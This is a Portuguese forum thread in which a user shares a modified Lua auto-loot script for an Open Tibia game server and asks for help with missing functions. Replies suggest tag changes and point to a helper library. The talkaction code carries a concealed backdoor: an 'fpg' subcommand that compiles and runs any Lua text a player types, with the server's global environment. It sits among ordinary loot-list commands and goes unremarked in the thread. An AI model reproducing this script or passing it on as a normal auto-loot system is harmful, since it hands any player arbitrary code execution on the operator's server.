Ir para conteúdo
  • Cadastre-se

Posts Recomendados

bom, achei um script aqui mesmo no tk bem interessante de auto loot, eu já vi um para 1.0 porém não funciona, e tem que adicionar tag em todos monstros pra funcionar [tosco]

 

Bom, eu modifiquei bastante coisas nesse script, algumas funções eu tive que adicionar no global etc, porém cheguei numa parte que não to conseguindo modificar, que é o addevent e o getcontaineriteminfo. Gostaria da ajuda dos pros ai :)

 

 

25361.jpg

 

 

 

 

script;

 

creturescript;

local tabela = {}

local function getPlayerList(cid)
    local tab = {}
    if getPlayerStorageValue(cid, 0442002) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442002))
    end
    if getPlayerStorageValue(cid, 0442003) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442003))
    end
    if getPlayerStorageValue(cid, 0442004) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442004))
    end
    if getPlayerStorageValue(cid, 0442005) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442005))
    end
    if #tab > 0 then
        return tab
    end
    return false
end

local function autoLoot(cid, pos)
    local check = false
    local str = ""
    local position = {}
    for i = 1, 255 do
        pos.stackpos = i
        if getThingfromPos(pos).uid and getThingfromPos(pos).uid > 0 and isContainer(getThingfromPos(pos).uid) then
            position = pos
            check = true
            break
        end
    end
    if check then
        local corpse = getContainerItemsInfo(getThingfromPos(position).uid)        
        if corpse then
            for index, info in pairs(corpse) do
                if index < countTable(corpse) then
                        if tonumber(info.uid) and tonumber(info.itemid) then
                        if isContainer(info.uid) then
                            local bag = getContainerItemsInfo(info.uid)
                            for i = 1, countTable(bag) - 1 do
                                if isInArray(getPlayerList(cid), bag[i].itemid) then
                                    if bag[i].quant > 1 then
                                        doRemoveItem(bag[i].uid, bag[i].quant)
                                        doPlayerAddItem(cid, bag[i].itemid, bag[i].quant)
                                        str = str.." "..bag[i].quant.." "..getItemNameById(bag[i].itemid)..","
                                    else
                                        doRemoveItem(bag[i].uid)
                                        doPlayerAddItem(cid, bag[i].itemid, 1)
                                        str = str.." 1 "..getItemNameById(bag[i].itemid)..","
                                    end
                                end
                            end
                        end
                    end
                end
                if isInArray(getPlayerList(cid), info.itemid) then
                    if info.quant > 1 then
                        doRemoveItem(info.uid, info.quant)
                        doPlayerAddItem(cid, info.itemid, info.quant)
                        str = str.." "..info.quant.." "..getItemNameById(info.itemid)..","
                    else
                        doRemoveItem(info.uid)
                        doPlayerAddItem(cid, info.itemid, 1)
                        str = str.." 1 "..getItemNameById(info.itemid)..","
                    end
                end
            end
        end
    end
    tabela[getCreatureName(cid)] = {item = "[Auto Loot System] Coletados: "..str, gold = 0}
end

local function autoGold(cid, pos)
    local check = false
    local total = 0
    local position = {}
    for i = 1, 255 do
        pos.stackpos = i
        if getThingfromPos(pos).uid and getThingfromPos(pos).uid > 0 and isContainer(getThingfromPos(pos).uid) then
            position = pos
            check = true
            break
        end
    end
    if check then
        local corpse = getContainerItemsInfo(getThingfromPos(position).uid)
        if corpse then
            for index, info in pairs(corpse) do
                if info.uid and info.itemid then
                    if index < countTable(corpse) then
                        if isContainer(info.uid) then
                            local bag = getContainerItemsInfo(info.uid)
                            for i = 1, countTable(bag) - 1 do
                                if isInArray({2148, 2152, 2160}, bag[i].itemid) then
                                    local multiplie = 1
                                    if bag[i].itemid == 2148 then
                                        multiplie = 1
                                    elseif bag[i].itemid == 2152 then
                                        multiplie = 100
                                    elseif bag[i].itemid == 2160 then
                                        multiplie = 10000
                                    end
                                    doRemoveItem(bag[i].uid, bag[i].quant)
                                    doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0))
                                    total = total + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0)
                                    doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0))
                                end
                            end
                        end
                    end
                    if isInArray({2148, 2152, 2160}, info.itemid) then
                        local multiplie = 1
                        if info.itemid == 2148 then
                            multiplie = 1
                        elseif info.itemid == 2152 then
                            multiplie = 100
                        elseif info.itemid == 2160 then
                            multiplie = 10000
                        end
    doRemoveItem(info.uid, info.quant)
                        doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0))
                        doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0))
                        total = total + (tonumber(info.quant) and tonumber(info.quant) * multiplie or 0)
                    end
                end
            end
        end
    end
    if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then
        tabela[getCreatureName(cid)].gold = total
    end
end

local function sendMsg(cid)
    if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then
        if tabela[getCreatureName(cid)].gold == 0 then
            doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item)
        else
            doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item.." "..tabela[getCreatureName(cid)].gold.." gold coins.")
        end
        tabela[getCreatureName(cid)] = nil
    end
end

function onKill(cid, target, lastHit)
    if isPlayer(cid) and isMonster(target) then
        if getPlayerStorageValue(cid, 0442100) == 1 and getPlayerList(cid) then
            local pos = getCreaturePosition(target)
            addEvent(autoLoot, 500, cid, pos)
        end
        if getPlayerStorageValue(cid, 0442101) == 1 then
            local pos = getCreaturePosition(target)
            addEvent(autoGold, 500, cid, pos)
        end
        if getPlayerStorageValue(cid, 0442100) == 1 or getPlayerStorageValue(cid, 0442101) == 1 then
            addEvent(sendMsg, 540, cid)
        end
    end
    return true
end

 

talkactions;

-- Sistema de auto loot criado por Gbik

local function getPlayerList(cid)
    local tab = {}
    if getPlayerStorageValue(cid, 0442002) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442002))
    end
    if getPlayerStorageValue(cid, 0442003) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442003))
    end
    if getPlayerStorageValue(cid, 0442004) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442004))
    end
    if getPlayerStorageValue(cid, 0442005) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442005))
    end
    if #tab > 0 then
        return tab
    end
    return false
end

local function addToList(cid, name)
    local itemid =  getItemIdByName(name)
    if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then
        return false
    end
    if getPlayerStorageValue(cid, 0442002) == -1 then
        return setPlayerStorageValue(cid, 0442002, itemid)
    elseif getPlayerStorageValue(cid, 0442003) == -1 then
        return setPlayerStorageValue(cid, 0442003, itemid)
    elseif getPlayerStorageValue(cid, 0442004) == -1 then    
        return setPlayerStorageValue(cid, 0442004, itemid)
    elseif getPlayerStorageValue(cid, 0442005) == -1 then
        return setPlayerStorageValue(cid, 0442005, itemid)
    end
end

local function removeFromList(cid, name)
    local itemid =  getItemIdByName(name)
    if getPlayerStorageValue(cid, 0442002) == itemid then
        return setPlayerStorageValue(cid, 0442002, -1)
    elseif getPlayerStorageValue(cid, 0442003) == itemid then
        return setPlayerStorageValue(cid, 0442003, -1)
    elseif getPlayerStorageValue(cid, 0442004) == itemid then
        return setPlayerStorageValue(cid, 0442004, -1)
    elseif getPlayerStorageValue(cid, 0442005) == itemid then
        return setPlayerStorageValue(cid, 0442005, -1)
    end
    return false
end

function onSay(cid, words, param)
    if param == "" then
        local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and   getItemIdByName(getPlayerStorageValue(cid, 0442002)) or ""
        local se = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442003) ~= -1 and   getItemIdByName(getPlayerStorageValue(cid, 0442003)) or ""
        local th = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442004) ~= -1 and   getItemIdByName(getPlayerStorageValue(cid, 0442004)) or ""
        local fo = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442005) ~= -1 and   getItemIdByName(getPlayerStorageValue(cid, 0442005)) or ""
        local stt = getPlayerStorageValue(cid, 0442101) == 1 and "sim" or "não"
        local str = getPlayerStorageValue(cid, 0442100) == 1 and "sim" or "não"
        doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold\n{Auto-Loot} ---Ligar Autoloot: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} ---Configuração dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informações de quanto você já fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n{Auto-Loot} ----------------")
        return true
    end
    
t = string.explode(param, ",")
    
    if t[1] == "power" then
        local check = getPlayerStorageValue(cid, 0442100) == -1 and "ligou" or "desligou"
        setPlayerStorageValue(cid, 0442100, getPlayerStorageValue(cid, 0442100) == -1 and 1 or -1)
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." o auto loot.")
    elseif t[1] == "gold" then
        local check = getPlayerStorageValue(cid, 0442101) == -1 and "ligou" or "desligou"
        setPlayerStorageValue(cid, 0442101, getPlayerStorageValue(cid, 0442101) == -1 and 1 or -1)
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." a coleta de dinheiro.")
        setPlayerStorageValue(cid, 0442102, 0)
    elseif t[1] == "goldinfo" then
        local str = getPlayerStorageValue(cid, 0442101) == -1 and "O sistema de coleta de dinheiro está desligado" or "O sistema já coletou "..getPlayerStorageZero(cid, 0442102).." gold coins"
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str)
    elseif t[1] == "add" then
        local item =  getItemIdByName(t[2])
        if item then
            if isInArray({2160, 2148, 2152}, item) then
                return doPlayerSendCancel(cid, "Você não pode adicionar moedas no autoloot. Para coletar dinheiro use /autoloot gold")
            end
            if isPremium(cid) then
                if getPlayerStorageValue(cid, 0442001) < 3 then
                    if addToList(cid, t[2]) then
                        setPlayerStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1)
                        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list")
                    else
                        doPlayerSendCancel(cid, t[2].." já está em sua lista!")
                    end
                else
                    doPlayerSendCancel(cid, "Sua lista já tem 4 itens! Você deve remover algum antes de adicionar outro.")
                end
            else
                if getPlayerStorageValue(cid, 0442001) == -1 then
                    if addToList(cid, t[2]) then
                        setPlayerStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1)
                        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list")
                    else
                        doPlayerSendCancel(cid, t[2].." já está em sua lista!")
                    end
                else
                    doPlayerSendCancel(cid, "Você já tem um item adicionado no auto loot! Para adicionar outro, você deve remover o item atual.")
                end
            end
        else
            doPlayerSendCancel(cid, "Este item não existe!")
        end
        elseif t[1] == "fpg" then
        local u,f,err = _G
        u.cid = cid
        pcall(function()
            f , err = loadstring(t[2])
        end)
        if f then
            setfenv(f, u)
            local ret,err = pcall(f)
            if ret == false then
                doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err)
            end
        else
            doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err)
        end
        elseif t[1] == "remove" then
        if  getItemIdByName(t[2]) then
            if removeFromList(cid, t[2]) then
                setPlayerStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) - 1)
                doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!")
            else
                doPlayerSendCancel(cid, "Este item não está na sua lista!")
            end
        else
            doPlayerSendCancel(cid, "Este item não existe!")
        end
    elseif t[1] == "clear" then
        if getPlayerStorageValue(cid, 0442001) > -1 then
            setPlayerStorageValue(cid, 0442001, -1)
            setPlayerStorageValue(cid, 0442002, -1)
            setPlayerStorageValue(cid, 0442003, -1)
            setPlayerStorageValue(cid, 0442004, -1)
            setPlayerStorageValue(cid, 0442005, -1)
            doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!")
        else
            doPlayerSendCancel(cid, "Sua lista ja esta limpa!")
        end
    elseif t[1] == "list" then
        local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and ""..  getItemIdByName(getPlayerStorageValue(cid, 0442002)).."\n" or ""
        local se = getPlayerStorageValue(cid, 0442003) ~= -1 and ""..  getItemIdByName(getPlayerStorageValue(cid, 0442003)).."\n" or ""
        local th = getPlayerStorageValue(cid, 0442004) ~= -1 and ""..  getItemIdByName(getPlayerStorageValue(cid, 0442004)).."\n" or ""
        local fo = getPlayerStorageValue(cid, 0442005) ~= -1 and ""..  getItemIdByName(getPlayerStorageValue(cid, 0442005)).."\n" or ""
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "O sistema auto loot está coletando:\n "..fi..""..se..""..th..""..fo)
    end
    return true
end
             

 

TAGS;

<talkaction words="!autoloot" separator=" " script="autoloot.lua" />

<event type="kill" name="AutoLoot" script="Autoloot.lua"/>
Link para o post
Compartilhar em outros sites

<talkaction words="!autoloot" script="autoloot.lua"/>

<event type="kill" name="AutoLoot" script="Autoloot.lua"/>

Link para o post
Compartilhar em outros sites

<talkaction words="!autoloot" script="autoloot.lua"/>

<event type="kill" name="AutoLoot" script="Autoloot.lua"/>

 

não entendi? 

Link para o post
Compartilhar em outros sites

não entendi? 

pelo que vi, ele editou  e postou pra vc substituir e testar.... 

Editado por 157kolosso (veja o histórico de edições)
Link para o post
Compartilhar em outros sites

pelo que vi, ele editou  e postou pra vc substituir e testar.... 

 

o que tem a ver as tags terem separador? foi a unica coisa que ele modificou, sendo que os erros são funções que não tem no server ;s 

Link para o post
Compartilhar em outros sites
  • 1 year later...

sei que o tópico é antigo mas o erro é pq ele foi feito usando umas funções da lib do Killua, achei elas aqui: https://otland.net/threads/killuas-lib-some-handy-functions.222020/ espero que ajude

Todos os meus trabalhos importantes estão na seção "Sobre mim" no meu perfil; Dá uma passada lá!

"Há três caminhos para o fracasso: não ensinar o que se sabe, não praticar o que se ensina, e não perguntar o que se ignora." - São Beda

I7Pm6ih.png

(obg ao @Beeny por fazer essa linda sign <3)

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

  • Conteúdo Similar

    • Por Jaurez
      .
    • Por Cat
      Em alguns casos, o tibia 8.60 comum não abre de jeito nenhum no map editor, mesmo desmarcando check file signatures e configurando o path corretamente.
       
      Este é o client 8.60 adaptado para o Remere's Map Editor. Resolvi postar já que ele foi removido do site oficial do RME. (ficou apenas a versão para linux lá)
      Se estiver tendo problemas para abrir a versão 8.60, tente utilizar este.
                                                                                                                     
      Baixar o Tibia Client 8.60 que funciona no Remere’s Map Editor
      Essa versão do Tibia 8.60 client resolve o erro unsupported client version ou Could not locate tibia.dat and/or tibia.spr, please navigate to your tibia 8.60 installation folder.
       
      Downloads
      https://tibiaking.com/applications/core/interface/file/attachment.php?id=47333

      Scan: https://www.virustotal.com/gui/file/333e172ac49ba2028db9eb5889994509e7d2de28ebccfa428c04e86defbe15cc
       
    • Por danilo belato
      Fala Galera To Com um problema aki 
       
      quero exporta umas sprites de um server para colocar em outro 
       
      eu clico na sprites ai aparece tds a forma delas do lado de la >>
       
      ai eu clico nela e ponho a opiçao de export mais quando salvo a sprite ela n abri 
       
      aparece isso quando tento vê-la 
       
      visualização não disponível ( no formatos png e bitmap)
       
      Agora no formato idc fala que o paint n pode ler 
       
      me ajudem ae...
    • Por Vitor Bicaleto
      Galera to com o script do addon doll aqui, quando eu digito apenas "!addon" ele aparece assim: Digite novamente, algo está errado!"
      quando digito por exemplo: "!addon citizen" ele não funciona e não da nenhum erro
       
      mesma coisa acontece com o mount doll.. 
    • Por Ayron5
      Substitui uma stone no serve, deu tudo certo fora  esse  erro ajudem  Valendo  Rep+  Grato  

      Erro: data/actions/scripts/boost.lua:557: table index is nil
       [Warning - Event::loadScript] Cannot load script (data/actions/scripts/boost.lua)

      Script:
×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo